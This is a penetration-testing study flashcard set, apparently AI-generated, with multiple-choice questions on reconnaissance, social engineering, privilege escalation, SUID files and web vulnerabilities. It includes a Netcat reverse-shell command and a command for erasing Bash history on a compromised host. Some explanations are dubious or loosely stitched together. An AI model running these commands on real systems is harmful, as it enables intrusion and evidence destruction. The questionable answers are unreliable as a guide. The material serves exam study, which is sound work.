ChatGPT made up some questions Flashcards
Annie wants to permanently remove evidence of commands she entered in a Bash shell on a compromised Linux system. Which command should she use?
- history -c
- kill -9 $$
- echo “” > ~/.bash_history
- ln /dev/null ~/.bash_history -sf
ln /dev/null ~/.bash_history -sf
While history -c clears the current session’s history, the Bash history file will still persist on disk. The correct answer is D, ln /dev/null ~/.bash_history -sf, which creates a symbolic link to /dev/null for the history file. This effectively prevents any future commands from being written to ~/.bash_history, permanently erasing the history
Kaiden is performing an automated web application security scan before deployment. Which tool is best suited for this task?
- nmap
- Nikto
- Wireshark
- CeWL
Nikto
Nikto is a dedicated web application security scanner designed to identify vulnerabilities such as misconfigurations, outdated software, and potential security issues in web servers and applications. Nmap is primarily a network scanner, Wireshark is a packet analysis tool, and CeWL is a tool for creating custom wordlists
Steve is gathering information during a penetration test without actively interacting with or probing the target systems. What type of information is he collecting?
- OSINT
- HSI
- Background
- None of the above
OSINT
Open Source Intelligence (OSINT) involves collecting publicly available information about a target without engaging in direct interaction. This includes using sources like websites, social media, and publicly accessible databases. It is a passive reconnaissance technique
Brian is investigating his organization’s servers to look for evidence of past breaches. What term best describes this activity?
- Penetration testing
- Vulnerability scanning
- Remediation
- Threat hunting
Threat hunting
involves proactively searching an organization’s infrastructure for signs of past or ongoing breaches. Unlike penetration testing or vulnerability scanning, threat hunting adopts the attacker’s mindset to find evidence of compromises
Liam runs the following command on a compromised system:
nc 10.1.10.1 7337 -e /bin/sh
What has Liam done?
- Started a reverse shell using Netcat
- Captured traffic on the Ethernet port to the console via Netcat
- Set up a bind shell using Netcat
- None of the above
Started a reverse shell using Netcat
The correct answer is A. Started a reverse shell using Netcat. In this command, Netcat (nc) connects to the remote IP address (10.1.10.1) on port 7337 and executes the Bash shell (/bin/sh). This creates a reverse shell where the compromised system initiates the connection to the attacker’s system
Alaina wants to conduct an on-path attack against a target system. Which technique can she use to make it appear she has the IP address of a trusted server?
- ARP spoofing
- IP proofing
- DHCP pirating
- Spoofmastering
ARP spoofing
ARP spoofing involves sending forged ARP responses to associate the attacker’s MAC address with the IP address of a trusted server. This allows the attacker to intercept traffic intended for the legitimate server, enabling an on-path attack
Spoofmastering and IP proofing are made up
DHCP pirating
involves an attacker compromising or impersonating a DHCP server to distribute rogue IP configurations to clients on a network. This can be used to redirect traffic, enable man-in-the-middle attacks, or disrupt network connectivity
Michael’s social engineering attack relies on telling staff members that others have already provided the information he is requesting. What motivation technique is he using?
- Authority
- Scarcity
- Likeness
- Social proof
Social proof
Explanation:
The correct answer is D. Social proof. Social proof relies on convincing the target that others have already taken a specific action or provided the requested information, leveraging the target’s trust in collective behavior. Likeness relies on building rapport and finding commonalities with the target
Vincent wants access to workstations at his target organization but cannot gain entry to the building or remote access. What technique can he use to attempt physical compromise?
- Shoulder surfing
- Kerberoasting
- USB key drop
- Quid pro quo
USB key drop
A USB key drop involves leaving malicious USB drives in accessible locations to tempt employees into plugging them into their workstations. This technique relies on human curiosity and can install malware or provide the attacker with access
Jennifer discovers the following file attributes on a Linux system:
-rwsr-xr– 1 root kismet 653905 Nov 4 2016 /usr/bin/kismet_capture
What type of file has she found?
- An encrypted file
- A hashed file
- A SUID file
- A SIP file
A SUID file
Explanation:
The “s” in the file permissions indicates that this is a SUID (Set User ID) file. When executed, it runs with the permissions of its owner (in this case, root) rather than the user who runs it. This can be a security risk if improperly managed
SUID file
- A SUID file in Linux is indicated by an “s” in the owner execute position of the file permissions (e.g., -rwsr-xr–)
- This means that when the file is executed, it runs with the permissions of the file owner (typically root) rather than the user executing the file
- SUID is a legitimate feature but can be a security risk if improperly configured, as it can be exploited to elevate privileges.
SIP file
- SIP (System Integrity Protection) is a macOS-specific security feature and does not apply directly to Linux files.
- SIP is designed to protect system files, directories, and processes from being modified, even by users with root privileges.
Chris suspects a Linux system he has compromised is a virtual machine. Which of the following techniques will NOT help confirm virtualization?
- Run system-detect-virt.
- Run ls -l /dev/disk/by-id.
- Run wmic baseboard get manufacturer, product.
- Run dmidecode to retrieve hardware information.
Run wmic baseboard get manufacturer, product.
The correct answer is C. Run wmic baseboard get manufacturer, product. This command is specific to Windows and cannot be used on a Linux system to check for virtualization. The other options are valid methods for identifying virtualization on Linux
Which of the following tools is best suited for performing passive reconnaissance using open-source intelligence (OSINT)?
- Nmap
- Shodan
- Metasploit
- Nikto
Shodan
Shodan is a search engine specifically designed to identify devices connected to the internet and provide OSINT for passive reconnaissance. It allows penetration testers to gather information without directly interacting with the target. Tools like Nmap, Metasploit, and Nikto involve active interaction and scanning of the target systems.
What type of privilege escalation involves exploiting software bugs to gain higher permissions on a system?
- Vertical privilege escalation
- Horizontal privilege escalation
- Exploit chaining
- Social engineering
Vertical privilege escalation
Vertical privilege escalation occurs when an attacker exploits software bugs or vulnerabilities to gain higher permissions, such as moving from a standard user account to an administrative account. Horizontal privilege escalation, in contrast, involves accessing another user’s data or privileges at the same level
What is the main purpose of setting up a SOCKS proxy during a penetration test?
- To intercept and modify web traffic
- To anonymize the penetration tester’s traffic
- To route traffic through a compromised system for lateral movement
- To exfiltrate data from a target network
To route traffic through a compromised system for lateral movement
A SOCKS proxy is commonly used during penetration testing to route traffic through a compromised system. This allows the penetration tester to perform lateral movement within the target network while maintaining control over traffic flow. Intercepting or modifying web traffic would typically involve tools like Burp Suite, not SOCKS proxies.
Which type of vulnerability occurs when an application includes unvalidated user input in a web request without proper encoding or validation?
- Cross-Site Scripting (XSS)
- SQL Injection
- File Inclusion
- Command Injection
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) vulnerabilities occur when an application fails to properly validate or encode user input, allowing malicious scripts to be executed in the browser of another user. This can result in data theft, session hijacking, or unauthorized actions on behalf of the victim. SQL injection, file inclusion, and command injection target different components of a system
Which of the following tools would a penetration tester use to test for directory traversal vulnerabilities in a web application?
- Burp Suite
- Metasploit
- Nikto
- Hydra
Nikto
Nikto is a web server scanner designed to identify vulnerabilities, including directory traversal, outdated software, and insecure configurations. While Burp Suite can also test for web vulnerabilities, it requires manual configuration for such tests. Metasploit focuses on exploits, and Hydra is used for password attacks
